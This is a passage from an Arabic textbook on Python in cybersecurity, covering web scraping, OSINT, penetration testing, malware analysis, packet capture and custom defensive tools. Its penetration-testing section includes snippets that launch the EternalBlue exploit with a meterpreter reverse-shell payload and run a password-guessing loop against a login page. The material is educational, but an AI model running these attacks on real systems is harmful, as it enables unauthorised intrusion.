٢. تحليل المحتوى: بناء شجرة HTML باستخدام BeautifulSoup.

٣. استخلاص الروابط: قراءة خاصية href من كل وسم <a>.

٥.٥.٣ مثال تطبيقي: استخلاص جدول بيانات وتحليله

مثال برمجي:

```
import requests
from bs4 import BeautifulSoup
import pandas as pd

url = "https://example.com/table"
response = requests.get(url)
```

```
soup = BeautifulSoup(response.text, 'html.parser')

table = soup.find('table')
headers = [th.text for th in table.find_all('th')]

rows = []
for tr in table.find_all('tr'):
    tds = tr.find_all('td')
    if tds:
        rows.append([td.text for td in tds])

df = pd.DataFrame(rows, columns=headers)
print(df)
```

الشرح:

١. تحليل الصفحة: تحميل وبناء شجرة HTML.

٢. استخلاص الجدول: قراءة الرؤوس والصفوف.

٣. تنظيم البيانات: تحويل النتائج إلى Pandas DataFrame.

٦.٥.٣ الخلاصة: دور BeautifulSoup في الأمن السيبراني

تُعد BeautifulSoup أداة قوية ومرنة لاستخلاص وتحليل بيانات الويب. بفضل بساطتها وقدرتها على التكامل مع مكتبات أخرى، فهي أداة أساسية في مهام تحقيقات OSINT، وجمع البيانات، وتحليل محتوى الويب.
بإتقان BeautifulSoup، يستطيع مختصو الأمن السيبراني بناء أدوات فعّالة لاستخلاص المعلومات العامة، وتحليلها، ودعم عمليات التحقيق والاستخبارات الرقمية بشكل احترافي.

الفصل ٤: التطبيقات الأساسية لبايثون في الأمن السيبراني

١.٤ اختبار الاختراق

الفصل الرابع: التطبيقات الأساسية لبايثون في الأمن السيبراني
يُعد اختبار الاختراق، المعروف أيضًا باسم الاختراق الأخلاقي، نهجًا استباقيًا لاكتشاف واستغلال الثغرات الأمنية في الأنظمة، الشبكات، والتطبيقات. أصبحت لغة Python حجر أساس في مجال اختبار الاختراق بفضل مرونتها، وتنوّع مكتباتها، وسهولة استخدامها. في هذا القسم، نستعرض دور Python في اختبار الاختراق، والأدوات التي توفرها، وكيفية استخدامها لمحاكاة الهجمات السيبرانية واكتشاف الثغرات الأمنية.

١.١.٤ نظرة عامة على اختبار الاختراق

اختبار الاختراق هو عملية محاكاة لهجمات سيبرانية حقيقية على نظام أو شبكة أو تطبيق بهدف اكتشاف نقاط الضعف الأمنية قبل أن يتم استغلالها من قبل جهات خبيثة، مما يسمح للمنظمات بتعزيز دفاعاتها.

الأهداف الأساسية لاختبار الاختراق

- اكتشاف الثغرات: تحديد نقاط الضعف في الأنظمة والشبكات والتطبيقات.

- تقييم الوضع الأمني: قياس فعالية الإجراءات الأمنية الحالية.
- محاكاة الهجمات الواقعية: تقليد أساليب وتقنيات المهاجمين الحقيقيين.
- تقديم توصيات المعالجة: اقتراح حلول عملية لمعالجة الثغرات المكتشفة.

يُعد اختبار الاختراق عنصرًا أساسيًا في أي استراتيجية أمن سيبراني شاملة.

٢.١.٤ أدوات بايثون: Metasploit و Pwntools

توفر Python مجموعة واسعة من الأدوات والمكتبات لاختبار الاختراق، مما يسمح بأتمتة المهام وتطوير الاستغلالات المخصصة وتحليل الثغرات. من أشهر هذه الأدوات: Metasploit و Pwntools.

Metasploit
يُعد Metasploit إطار عمل قوي لاختبار الاختراق، يوفر أدوات لتطوير الاستغلالات وتنفيذها وتحليل نتائجها. رغم أن Metasploit مكتوب أساسًا بلغة Ruby، إلا أنه يوفّر مكتبة Python تُعرف باسم pymetasploit3 للتعامل البرمجي معه.
الخصائص الأساسية لـ Metasploit:

- تطوير الاستغلالات: إنشاء واختبار استغلالات مخصصة.
- توليد الحمولة (Payloads): إنشاء حمولات لأنظمة ومعماريات متعددة.
- ما بعد الاستغلال: تنفيذ مهام مثل تصعيد الصلاحيات واستخلاص البيانات.

مثال: تنفيذ استغلال باستخدام pymetasploit3:

```
from pymetasploit3.msfrpc import MsfRpcClient

client = MsfRpcClient('password', server='192.168.1.1')
```

```
exploit = client.modules.use(
    'exploit',
    'windows/smb/ms17_010_eternalblue'
)
exploit['RHOSTS'] = '192.168.1.100'
exploit.execute(payload='windows/x64/meterpreter/reverse_tcp')
```

Pwntools

Pwntools هي مكتبة Python متخصصة في تطوير الاستغلالات وتحليل الملفات الثنائية، وتُستخدم على نطاق واسع في مسابقات CTF وفي اختبارات الاختراق الواقعية.

الخصائص الأساسية لـ Pwntools:

- تطوير الاستغلالات: تبسيط كتابة استغلالات الثغرات.
- تحليل الملفات الثنائية: فحص الملفات التنفيذية والتحكم بها.
- أدوات الشبكات: التفاعل مع الخدمات والبروتوكولات البعيدة.

مثال: استغلال ثغرة تجاوز سعة الذاكرة (Buffer Overflow):

```
from pwn import *

conn = remote('example.com', 1234)
payload = b'A' * 100
conn.sendline(payload)
print(conn.recvall())
```

٣.١.٤ حالات الاستخدام: محاكاة الهجمات واكتشاف الثغرات

تُستخدم أدوات Python لمحاكاة الهجمات السيبرانية واكتشاف الثغرات بشكل فعّال.

محاكاة الهجمات السيبرانية

- هجمات الشبكات: استغلال ثغرات بروتوكولات مثل SMB وSSH.
- هجمات تطبيقات الويب: اختبار Injection SQL وXSS وCSRF.
- الهندسة الاجتماعية: أتمتة حملات التصيد الاحتيالي.

مثال: محاكاة هجوم تخمين كلمات المرور:

```
import requests

passwords = ["password", "123456", "admin", "letmein"]
url = "https://example.com/login"

for password in passwords:
    r = requests.post(url, data={
        "username": "admin",
        "password": password
    })
    if "Login successful" in r.text:
        print(f"Password found: {password}")
        break
```

اكتشاف الثغرات

```
import nmap
```

```
scanner = nmap.PortScanner()
scanner.scan('192.168.1.1', '22-443')

for host in scanner.all_hosts():
    print(scanner[host]['tcp'].keys())
```

٤.١.٤ الخلاصة: دور Python في اختبار الاختراق

أصبحت Python أداة لا غنى عنها في اختبار الاختراق، لما توفره من أدوات قوية، وسهولة في التطوير، وقدرة عالية على الأتمتة. إتقان Python يمكّن مختصي الأمن السيبراني من تنفيذ اختبارات اختراق احترافية وتقييم الوضع الأمني بشكل شامل.

٢.٤ تحليل البرمجيات الخبيثة

الفصل الرابع: التطبيقات الأساسية لبايثون في الأمن السيبراني
تحليل البرمجيات الخبيثة هو عملية تفكيك وفهم البرمجيات الضارة لمعرفة سلوكها وتأثيرها. تُعد Python أداة أساسية في هذا المجال بفضل مكتباتها القوية وسهولة استخدامها.

١.٢.٤ نظرة عامة على تحليل البرمجيات الخبيثة

يتضمن تحليل البرمجيات الخبيثة دراسة بنيتها، وسلوكها، وتأثيرها المحتمل على الأنظمة.

أنواع تحليل البرمجيات الخبيثة

١. التحليل الساكن
٢. التحليل الديناميكي
٣. التحليل السلوكي

٢.٢.٤ أدوات Python: pefile و yara-python

مثال: تحليل ملف PE باستخدام pefile:

```
import pefile

pe = pefile.PE('malware.exe')
print(hex(pe.OPTIONAL_HEADER.AddressOfEntryPoint))

for entry in pe.DIRECTORY_ENTRY_IMPORT:
    print(entry.dll.decode())
```

مثال: استخدام YARA للاكتشاف البرمجيات الخبيثة:

```
import yara

rules = yara.compile(source='''
rule Demo {
    strings:
        $a = "malware"
    condition:
        $a
}
''')

print(rules.match('sample.exe'))
```

٣.٢.٤ الخلاصة: دور Python في تحليل البرمجيات الخبيثة

تُعد Python أداة قوية لتحليل البرمجيات الخبيثة، حيث تمكّن المختصين من أتمتة التحليل، واستخلاص معلومات استخباراتية قيّمة، وبناء أدوات تحليل مخصصة.

٣.٤ أتمتة الأمن السيبراني

الفصل الرابع: التطبيقات الأساسية لبايثون في الأمن السيبراني
تشير أتمتة الأمن السيبراني إلى استخدام البرمجيات لأتمتة المهام الأمنية المتكررة مثل المراقبة وتحليل السجلات والاستجابة للحوادث.

١.٣.٤ نظرة عامة على أتمتة الأمن

تقلل الأتمتة من الأخطاء البشرية وتزيد من سرعة الاستجابة للحوادث الأمنية.

٢.٣.٤ الخلاصة: دور Python في أتمتة الأمن

بفضل بساطتها وقوة مكتباتها، تُعد Python الخيار الأمثل لبناء أنظمة أتمتة أمنية فعّالة وقابلة للتوسع.

٤.٤ جمع استخبارات المصادر المفتوحة (OSINT)

الفصل الرابع: التطبيقات الأساسية لبايثون في الأمن السيبراني
تشير استخبارات المصادر المفتوحة (Open Source Intelligence -- OSINT) إلى عملية جمع وتحليل المعلومات المتاحة للعامة من مصادر مفتوحة مثل المواقع الإلكترونية، ومنصات التواصل الاجتماعي، والمنتديات، وقواعد البيانات العامة. أصبحت لغة Python أداة محورية في هذا المجال بفضل قدرتها العالية على الأتمتة، وتكاملها مع واجهات برمجية متعددة، وتنوّع مكتباتها المتخصصة.
في هذا القسم، نستعرض دور Python في جمع OSINT، والأدوات المستخدمة، والسيناريوهات العملية التي تدعم التحقيقات الأمنية واستخبارات التهديدات.

١.٤.٤ نظرة عامة على OSINT

يعتمد OSINT على تحليل البيانات المتاحة للعامة دون الحاجة إلى مصادر سرية أو اختراقات غير قانونية. تُستخدم هذه المعلومات لدعم التحقيقات، تحديد التهديدات، وتتبع الأنشطة الخبيثة.

الأهداف الأساسية لـ OSINT

- اكتشاف التهديدات: تحديد الأنشطة المشبوهة أو المؤشرات المبكرة للهجمات.
- دعم التحقيقات: جمع أدلة رقمية داعمة للتحقيقات الأمنية.
- تحليل الخصوم: تتبع الجهات المهاجمة وأنماط عملها.
- تعزيز اتخاذ القرار: توفير معلومات موثوقة لدعم القرارات الأمنية.

٢.٤.٤ المصادر الأساسية لاستخبارات المصادر المفتوحة

تعتمد OSINT على مجموعة متنوعة من المصادر العامة، من أبرزها:

- المواقع الإلكترونية: المدونات، المواقع الإخبارية، والمواقع المؤسسية.
- منصات التواصل الاجتماعي: مثل Twitter وLinkedIn وFacebook.
- قواعد البيانات العامة: سجلات WHOIS، وDNS، وبيانات الملكية.
- المنتديات والمجتمعات: منصات النقاش التقنية والقرصنة.

تُستخدم Python لأتمتة الوصول إلى هذه المصادر وتحليل محتواها بكفاءة.

٣.٤.٤ أدوات Python المستخدمة في OSINT

توفر Python مجموعة واسعة من المكتبات التي تُستخدم في جمع وتحليل OSINT.

BeautifulSoup

تُستخدم مكتبة BeautifulSoup لتحليل مستندات HTML وXML واستخلاص البيانات من صفحات الويب.

مثال: استخلاص الروابط من صفحة ويب:

```
import requests
from bs4 import BeautifulSoup

url = "https://example.com"
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')

for link in soup.find_all('a'):
    print(link.get('href'))
```

Requests

تُستخدم مكتبة Requests للتفاعل مع المواقع وواجهات البرمجة (APIs) وجلب البيانات.

مثال: استعلام واجهة برمجية لمعلومات استخباراتية:

```
import requests

response = requests.get(
    "https://api.threatintel.com/ip/192.168.1.100"
)

if response.status_code == 200:
    print(response.json())
```

Whois

تُستخدم مكتبة whois لجلب معلومات تسجيل النطاقات.

مثال: تحليل بيانات WHOIS لنطاق:

```
import whois

domain = whois.whois("example.com")
print(domain.registrar)
print(domain.creation_date)
```

Shodan

تُستخدم مكتبة Shodan لجمع معلومات حول الأجهزة المتصلة بالإنترنت.

مثال: تحليل عنوان IP باستخدام Shodan:

```
import shodan

api = shodan.Shodan("API_KEY")
info = api.host("192.168.1.100")

print(info["org"])
print(info["ports"])
```

٤.٤.٤ حالات الاستخدام العملية لـ OSINT

تُستخدم OSINT في الأمن السيبراني في عدة سيناريوهات عملية.

استخبارات التهديدات

تُستخدم OSINT لتجميع مؤشرات الاختراق (Indicators of Compromise -- IoCs) مثل عناوين IP الخبيثة أو النطاقات المشبوهة.

مثال: مراقبة وسائل التواصل الاجتماعي لمؤشرات تهديد:

```
import tweepy

auth = tweepy.OAuthHandler("API_KEY", "API_SECRET")
auth.set_access_token("ACCESS_TOKEN", "ACCESS_SECRET")
api = tweepy.API(auth)

tweets = api.search(q="malware", count=10)
for tweet in tweets:
    print(tweet.text)
```

دعم التحقيقات الرقمية

يمكن استخدام Python لجمع أدلة رقمية من مصادر عامة لدعم التحقيقات.

مثال: البحث عن كلمات مفتاحية داخل محتوى صفحة:

```
import requests
from bs4 import BeautifulSoup

url = "https://example.com"
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')

for p in soup.find_all('p'):
    if "evidence" in p.text.lower():
        print(p.text)
```

تحليل النطاقات وعناوين IP

يُستخدم OSINT لتقييم سمعة النطاقات وعناوين IP.

```
import requests
```

```
ip = "192.168.1.100"
response = requests.get(
    f"https://api.abuseipdb.com/api/v2/check?ipAddress={ip}"
)

print(response.status_code)
```

٥.٤.٤ مثال تطبيقي: أتمتة عملية OSINT باستخدام Python

مثال برمجي كامل:

```
import requests
from bs4 import BeautifulSoup
import whois

# Step 1: Scrape a website
url = "https://example.com"
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')

print("Extracted links:")
for link in soup.find_all('a'):
    print(link.get('href'))

# Step 2: WHOIS lookup
domain = whois.whois("example.com")
print("Registrar:", domain.registrar)
print("Creation date:", domain.creation_date)
```

```
# Step 3: Query threat intelligence API
intel = requests.get(
    "https://api.threatintel.com/ip/192.168.1.100"
)

if intel.status_code == 200:
    print("Threat intelligence data:")
    print(intel.json())
```

الشرح:

١. جمع البيانات: استخلاص روابط ومحتوى من موقع ويب عام.

٢. تحليل النطاق: جلب معلومات تسجيل النطاق باستخدام WHOIS.

٣. تحليل التهديد: الاستعلام عن معلومات استخباراتية حول عنوان IP.

٦.٤.٤ الخلاصة: دور Python في OSINT

أصبحت Python أداة لا غنى عنها في مجال استخبارات المصادر المفتوحة، حيث تمكّن فرق الأمن السيبراني من أتمتة جمع البيانات، وتحليل كميات كبيرة من المعلومات العامة، واستخلاص استخبارات قابلة للتنفيذ.
من خلال إتقان Python وأدواتها، يمكن للمختصين بناء أنظمة OSINT مرنة، قابلة للتوسع، وقادرة على دعم التحقيقات الأمنية واستخبارات التهديدات باحترافية عالية.

الفصل ٥: تقنيات Python المتقدمة في الأمن السيبراني

١.٥ كتابة سكربتات مخصصة للمهام الأمنية

الفصل الخامس: تقنيات Python المتقدمة في الأمن السيبراني
في عالم الأمن السيبراني المتغير باستمرار، غالبًا ما تعجز الأدوات الجاهزة عن تلبية المتطلبات الخاصة أو التعامل مع السيناريوهات المعقدة. هنا تبرز أهمية كتابة سكربتات مخصصة باستخدام لغة Python، حيث تمكّن المختصين من بناء حلول دقيقة، أتمتة المهام المتكررة، وتحسين الوضع الأمني العام للأنظمة.
في هذا القسم، نستعرض منهجية كتابة سكربتات أمنية مخصصة، بدءًا من التخطيط، مرورًا بـ التطوير، وانتهاءً بـ التنفيذ العملي، مع أمثلة تطبيقية واقعية.

١.١.٥ لماذا نكتب سكربتات مخصصة؟

تلعب السكربتات المخصصة دورًا محوريًا في معالجة التحديات الأمنية التي لا يمكن حلها باستخدام أدوات جاهزة فقط.

أسباب كتابة سكربتات مخصصة

- حلول مصممة خصيصًا: تكييف السكربت مع بيئة العمل ومتطلباتها الفريدة.

- الأتمتة: أتمتة مهام مثل تحليل السجلات، فحص الشبكات، والاستجابة للحوادث.
- الدمج: دمج عدة أدوات ومصادر بيانات ضمن سير عمل واحد.
- المرونة: التكيف السريع مع التهديدات الجديدة أو التغيرات التشغيلية.

تجعل بساطة Python ووضوحها، إضافة إلى نظامها البيئي الغني، منها الخيار الأمثل لهذا النوع من التطوير.

٢.١.٥ مرحلة التخطيط للسكربت

قبل كتابة أي سطر برمجي، يجب التخطيط للسكربت بشكل دقيق.

- الخطوة الأولى: تحديد الهدف

  تحديد المشكلة الأمنية أو المهمة المطلوب أتمتتها بوضوح.

  - مثال: أتمتة فحص المنافذ المفتوحة ضمن شبكة محلية.

- الخطوة الثانية: تحديد المدخلات والمخرجات

  - مثال:
    * المدخلات: نطاق عناوين IP.
    * المخرجات: قائمة بالمنافذ المفتوحة وحالتها.

- الخطوة الثالثة: اختيار المكتبات المناسبة

  - مثال: استخدام python-nmap للفحص، وpandas لتحليل النتائج.

- الخطوة الرابعة: تصميم سير العمل

  - مثال:

١. استقبال نطاق عناوين IP.
٢. تنفيذ فحص المنافذ.
٣. تجميع النتائج وتوليد تقرير.

٣.١.٥ تطوير السكربت

بعد اكتمال التخطيط، تبدأ مرحلة التطوير.

- الخطوة الأولى: إعداد البيئة

```
pip install python-nmap pandas
```

- الخطوة الثانية: كتابة الكود

مثال: سكربت مخصص لفحص المنافذ المفتوحة:

```
import nmap
import pandas as pd

def scan_ports(ip_range):
    scanner = nmap.PortScanner()
    scanner.scan(hosts=ip_range, arguments='-p 22-443')

    results = []
    for host in scanner.all_hosts():
        for proto in scanner[host].all_protocols():
            for port in scanner[host][proto].keys():
                results.append({
                    "IP": host,
                    "Port": port,
```

```
                    "State": scanner[host][proto][port]['state']
                })

    return pd.DataFrame(results)

results_df = scan_ports("192.168.1.0/24")
print(results_df)
```

- الخطوة الثالثة: الاختبار

  اختبار السكربت على نطاق محدود والتأكد من صحة النتائج.

- الخطوة الرابعة: التحسين وإعادة الهيكلة

  إضافة معالجة للأخطاء، تسجيل الأحداث، وتحسين الأداء.

٤.١.٥ تنفيذ السكربت في بيئة العمل

بعد الانتهاء من التطوير:

- الجدولة: تشغيل السكربت تلقائيًا باستخدام cron أو Task Scheduler.
- الدمج: إرسال النتائج إلى أنظمة SIEM.
- الصيانة: تحديث السكربت دوريًا وفق التهديدات الجديدة.

٥.١.٥ أمثلة عملية لسكربتات مخصصة

تحليل سجلات Apache

```python
import re

def analyze_logs(log_file):
    with open(log_file) as f:
        for line in f:
            if re.search(r'404|500|SQL injection|XSS', line, re.I):
                print("Potential attack:", line.strip())

analyze_logs("access.log")
```

سكربت استجابة للحوادث

```python
import os
import time

def isolate_ip(ip):
    os.system(f"iptables -A INPUT -s {ip} -j DROP")
    time.sleep(5)
    print(f"IP blocked: {ip}")

isolate_ip("192.168.1.100")
```

٦.١.٥ الخلاصة

تمكّن السكربتات المخصصة المكتوبة بلغة Python المختصين في الأمن السيبراني من بناء حلول مرنة، قابلة للتوسع، وقادرة على التكيف مع التهديدات المتغيرة. إتقان هذه المهارة يمثل خطوة أساسية نحو الاحتراف الحقيقي في المجال.

٢.٥ دمج Python مع أدوات الأمن السيبراني (Wireshark و Burp Suite)

الفصل الخامس: تقنيات Python المتقدمة في الأمن السيبراني
يُعد دمج Python مع أدوات أمنية راسخة مثل Wireshark وBurp Suite خطوة متقدمة تتيح أتمتة التحليل، توسيع قدرات الأدوات، وبناء سير عمل أمني متكامل. هذا الدمج يمكّن المختصين من تجاوز حدود الواجهات الرسومية والانتقال إلى تحليل برمجي قابل للتوسع.

١.٢.٥ لماذا ندمج Python مع أدوات أمنية؟

رغم قوة الأدوات الجاهزة، فإن دمجها مع Python يحقق مزايا إضافية:

- الأتمتة: تنفيذ التحليل والفحص دون تدخل يدوي.
- التخصيص: إضافة منطق أمني خاص غير متوفر افتراضيًا.
- تحليل البيانات: الاستفادة من مكتبات مثل pandas وmatplotlib.
- توحيد سير العمل: ربط أدوات متعددة في مسار واحد.

٢.٢.٥ دمج Python مع Wireshark

يُستخدم Wireshark لتحليل حركة الشبكة، ويمكن ربطه بـ Python عبر أداة tshark أو مكتبة PyShark.

استخدام PyShark

```
pip install pyshark
```

مثال: التقاط وتحليل الحزم الشبكية:

```
import pyshark

capture = pyshark.LiveCapture(interface='eth0')

for packet in capture.sniff_continuously(packet_count=10):
    if 'IP' in packet:
        print("Source:", packet.ip.src, "Destination:", packet.ip.dst)
    if 'TCP' in packet:
        print("Ports:", packet.tcp.srcport, "->", packet.tcp.dstport)
```

٣.٢.٥ تحليل بيانات Wireshark المصدّرة

```
import json

with open("capture.json") as f:
    packets = json.load(f)

for pkt in packets:
    layers = pkt.get("_source", {}).get("layers", {})
    if "ip" in layers:
        print(layers["ip"]["ip.src"], "->", layers["ip"]["ip.dst"])
```

٤.٢.٥ دمج Python مع Burp Suite

يُستخدم Burp Suite للاختبار أمن تطبيقات الويب، ويمكن التحكم به برمجيًا عبر REST API أو واجهة Extender API.

أتمتة فحص باستخدام API REST

```
import requests
import time

api_url = "http://127.0.0.1:1337/v0.1"
headers = {"Authorization": "Bearer API_KEY"}

scan = requests.post(
    f"{api_url}/scan",
    json={"urls": ["http://example.com"]},
    headers=headers
)

scan_id = scan.json()["id"]

while True:
    status = requests.get(
        f"{api_url}/scan/{scan_id}",
        headers=headers
    ).json()["status"]
    if status == "succeeded":
        break
    time.sleep(5)
```

٥.٢.٥ بناء أدوات أمن سيبراني مخصصة باستخدام Python

الفصل الخامس: تقنيات Python المتقدمة في الأمن السيبراني

يتيح بناء أدوات أمنية مخصصة باستخدام Python تحكمًا كاملاً في منطق التحليل، ويُعد مرحلة متقدمة بعد كتابة السكربتات البسيطة.

٦.٢.٥ لماذا نبني أدواتنا الخاصة؟

- تخصيص كامل: الأداة تُصمَّم حسب بيئة العمل.
- الابتكار: تجاوز حدود الأدوات التجارية.
- التكامل: دمج التحليل، الاستجابة، والتسجيل في أداة واحدة.
- الفهم العميق: تعميق المعرفة بالهجوم والدفاع.

٧.٢.٥ تصميم أداة أمنية

- تحديد الهدف: كشف نشاط ضار.
- المدخلات: حركة شبكة، سجلات، أو بيانات API.
- المخرجات: تنبيهات أو إجراءات تلقائية.
- سير العمل: التقاط تحليل قرار استجابة.

٨.٢.٥ مثال: أداة كشف وحظر IP ضار

```
from scapy.all import sniff
import os

malicious_ips = {"192.168.1.100"}

def handle_packet(packet):
    if packet.haslayer("IP"):
        src = packet["IP"].src
        if src in malicious_ips:
            os.system(f"iptables -A INPUT -s {src} -j DROP")
```

```
            print("Blocked:", src)

sniff(prn=handle_packet, count=0)
```

٩.٢.٥ اختبار الأداة وتحسينها

- اختبار الأداء تحت ضغط.
- إضافة تسجيل أحداث (logging).
- تحسين استهلاك الموارد.

١٠.٢.٥ نشر الأداة

- تغليفها كحزمة Python.
- تشغيلها كخدمة نظام.
- مراقبة السجلات والتنبيهات.

١١.٢.٥ الخلاصة

يمثل هذا الفصل الانتقال من استخدام Python كأداة مساعدة إلى اعتمادها كمنصة تطوير أمنية كاملة. من خلال السكربتات المخصصة، دمج الأدوات، وبناء حلول مستقلة، يستطيع المختص الأمني امتلاك تحكم شامل في بيئته الدفاعية، والاستجابة بمرونة ودقة أمام التهديدات الحديثة.

٣.٥ بناء أدواتك الخاصة في الأمن السيبراني باستخدام Python

الفصل الخامس: تقنيات **Python** المتقدمة في الأمن السيبراني

إن بناء أدواتك الخاصة في مجال الأمن السيبراني باستخدام Python يمنحك القدرة على معالجة تحديات فريدة، وأتمتة سير العمل المعقد، وإنشاء حلول مخصّصة تتوافق تماماً مع احتياجاتك الخاصة. تُعد بساطة Python ومرونتها ومنظومتها الغنية بالمكتبات سبباً رئيسياً لجعلها اللغة المثالية لتطوير الأدوات الأمنية المخصّصة. في هذا القسم، سنستعرض عملية بناء أدوات الأمن السيبراني بدءاً من التخطيط والتطوير، مروراً بـ الاختبار، وصولاً إلى النشر، مع أمثلة عملية توضيحية.

١.٣.٥ لماذا تبني أدواتك الخاصة؟

رغم توفر العديد من أدوات الأمن السيبراني الجاهزة، فإن بناء أدواتك الخاصة يوفر مزايا جوهرية:

- التخصيص: تصميم الأدوات بما يتوافق بدقة مع بيئتك ومتطلباتك.
- الأتمتة: أتمتة المهام المتكررة ودمج عدة أدوات ضمن سير عمل موحّد.
- الابتكار: تطوير حلول جديدة لمواجهة التهديدات الناشئة.
- التعلّم: تعميق فهمك لمفاهيم الأمن السيبراني وبرمجة Python.

من خلال بناء أدواتك الخاصة، يمكنك تعزيز قدراتك الأمنية والبقاء متقدّماً على التهديدات المتطورة.

٢.٣.٥ تخطيط الأداة

قبل كتابة أي كود، من الضروري تخطيط هدف الأداة ووظائفها وآلية عملها. فيما يلي دليل تدريجي لتخطيط الأداة:

- الخطوة 1: تحديد الهدف

  حدّد بوضوح المشكلة التي تسعى لحلها أو المهمة التي تريد أتمتتها.

  - مثال: بناء أداة لاكتشاف وحظر عناوين IP الخبيثة وحظرها في الزمن الحقيقي.

- الخطوة 2: تحديد المتطلبات

تحديد المدخلات والمخرجات والوظائف التي يجب أن توفرها الأداة.

- مثال:
  - المدخلات: بيانات حركة الشبكة.
  - المخرجات: تنبيهات وعناوين IP محظورة.
  - الوظائف: مراقبة آنية، حظر العناوين، وتسجيل الأحداث.

- الخطوة 3: اختيار المكتبات والأدوات المناسبة

اختيار مكتبات وأدوات Python التي تساعدك على تحقيق الهدف.

- مثال: استخدام Scapy للالتقاط الحزم وiptables لحظر العناوين.

- الخطوة 4: تصميم سير العمل

رسم تسلسل الخطوات التي ستتبعها الأداة من البداية حتى النهاية.

- مثال:
  ١. التقاط حركة الشبكة.
  ٢. تحليل الحزم لاكتشاف السلوك الخبيث.
  ٣. حظر عناوين IP الضارة.
  ٤. تسجيل الأحداث لأغراض التحليل لاحقًا.

٣.٣.٥ تطوير الأداة

بعد الانتهاء من التخطيط، تأتي مرحلة تطوير الأداة.

- الخطوة 1: إعداد البيئة

- تثبيت مكتبات Python المطلوبة باستخدام pip.

- مثال:

```
pip install scapy
```

- الخطوة 2: كتابة الكود

ابدأ بكتابة الأداة مع تقسيم المنطق إلى دوال صغيرة قابلة للإدارة.

مثال: أداة لاكتشاف وحظر عناوين IP الخبيثة:

```
from scapy.all import sniff
import os

def packet_callback(packet):
    if packet.haslayer('IP'):
        src_ip = packet['IP'].src
        if src_ip in malicious_ips:
            print(f"Malicious IP detected: {src_ip}")
            block_ip(src_ip)

def block_ip(ip):
    os.system(f'iptables -A INPUT -s {ip} -j DROP')
    print(f"Blocked IP: {ip}")

malicious_ips = {"192.168.1.100", "192.168.1.101"}

print("Starting network monitoring...")
sniff(prn=packet_callback, count=0)
```

الشرح:

- تستخدم الأداة مكتبة Scapy للالتقاط حركة الشبكة.

- عند اكتشاف عنوان IP خبيث، يتم حظره باستخدام iptables.

- الخطوة 3: اختبار الأداة

  اختبر الأداة باستخدام سيناريوهات مختلفة للتأكد من صحتها.

  - مثال: محاكاة حركة شبكة تحتوي على عناوين IP خبيثة والتحقق من حظرها.

- الخطوة 4: التحسين وإعادة الهيكلة

  - تحسين الأداء وقابلية القراءة.
  - إضافة معالجة للأخطاء ونظام Logging.

٤.٣.٥ نشر الأداة

بعد تطوير الأداة واختبارها، يتم نشرها في البيئة المستهدفة.

- الخطوة 1: تغليف الأداة

  تغليف الأداة لتسهيل توزيعها وتثبيتها.

  مثال: إنشاء حزمة Python:

```
from setuptools import setup, find_packages

setup(
    name="malicious_ip_blocker",
    version="1.0",
    packages=find_packages(),
    install_requires=["scapy"],
    entry_points={
        "console_scripts": [
```

```
            "blocker=malicious_ip_blocker:main",
        ],
    },
)
```

- الخطوة 2: جدولة الأداة

  تشغيل الأداة تلقائيًا باستخدام cron أو Task Scheduler.

- الخطوة 3: المراقبة والصيانة

  مراقبة الأداء وتحديث الأداة لمواكبة التهديدات الجديدة.

٥.٣.٥ أمثلة عملية لأدوات مخصّصة

فيما يلي أمثلة عملية لأدوات أمن سيبراني مخصّصة يمكن بناؤها باستخدام Python:

- المثال 1: محلّل حركة الشبكة **Network Traffic Analyzer**

  أداة لتحليل حركة الشبكة واكتشاف الحالات غير المعتادة.

```
from scapy.all import sniff

def packet_callback(packet):
    if packet.haslayer('IP'):
        print(f"Source IP: {packet['IP'].src}, Destination IP:
        ↪  {packet['IP'].dst}")
    if packet.haslayer('TCP'):
        print(f"Source Port: {packet['TCP'].srcport}, Destination Port:
        ↪  {packet['TCP'].dstport}")

print("Starting network traffic analysis...")
sniff(prn=packet_callback, count=10)
```

- المثال 2: ماسح الثغرات **Vulnerability Scanner**

أداة لفحص المنافذ المفتوحة وتحديد الخدمات.

```
import nmap

def scan_ports(ip_range):
    scanner = nmap.PortScanner()
    scanner.scan(hosts=ip_range, arguments='-p 22-443')
    for host in scanner.all_hosts():
        print(f"Open ports on {host}: {scanner[host]['tcp'].keys()}")

scan_ports("192.168.1.0/24")
```

- المثال 3: محلّل السجلات **Log Analyzer**

أداة لتحليل السجلات واكتشاف مؤشرات هجمات محتملة.

```
import re

def analyze_logs(log_file):
    with open(log_file, 'r') as f:
        logs = f.readlines()

    attack_patterns = ["404", "500", "SQL injection", "XSS"]
    for log in logs:
        for pattern in attack_patterns:
            if re.search(pattern, log, re.IGNORECASE):
                print(f"Potential attack detected: {log.strip()}")
                break

analyze_logs('access.log')
```

٦.٣.٥ الخلاصة: قوة الأدوات المخصّصة

يمنحك بناء أدواتك الخاصة في الأمن السيبراني باستخدام Python القدرة على تطوير حلول دقيقة، وأتمتة عمليات معقّدة، وبناء أنظمة دفاعية مرنة وقابلة للتوسع. إتقان هذا المسار يحوّلك من مستخدم أدوات إلى مهندس حلول أمنية قادر على الابتكار والتكيّف مع التهديدات الحديثة.

الفصل ٦: دراسات حالة وأمثلة واقعية

١.٦ دراسة حالة 1: أتمتة مراقبة الشبكة باستخدام Python

الفصل السادس: دراسات حالة وأمثلة من الواقع العملي
تُعد مراقبة الشبكة عنصرًا أساسيًا في الأمن السيبراني، إذ تمكّن المؤسسات من اكتشاف التهديدات والاستجابة لها في الزمن الحقيقي. إلا أن المراقبة اليدوية تُعد عملية مرهقة، تستغرق وقتًا طويلاً، ومعرّضة للأخطاء البشرية. إن أتمتة مراقبة الشبكة باستخدام Python يمكن أن تحسّن الكفاءة والدقة بشكل كبير. في هذه الدراسة، سنستعرض كيف يمكن استخدام Python لأتمتة مراقبة الشبكة، بما يشمل التقاط الحزم، واكتشاف الشذوذ، وإطلاق التنبيهات، مع تنفيذ عملي خطوة بخطوة.

١.١.٦ المشكلة: مراقبة الشبكة اليدوية

تعتمد مراقبة الشبكة اليدوية على تحليل حركة الشبكة والسجلات والتنبيهات لاكتشاف التهديدات المحتملة، وهي عملية تتسم بالخصائص التالية:

- مستهلكة للوقت: تتطلب متابعة مستمرة وجهدًا بشريًا كبيرًا.
- معرّضة للأخطاء: قد يُخطئ المحللون في تفسير البيانات أو تفويت تنبيهات حرجة.

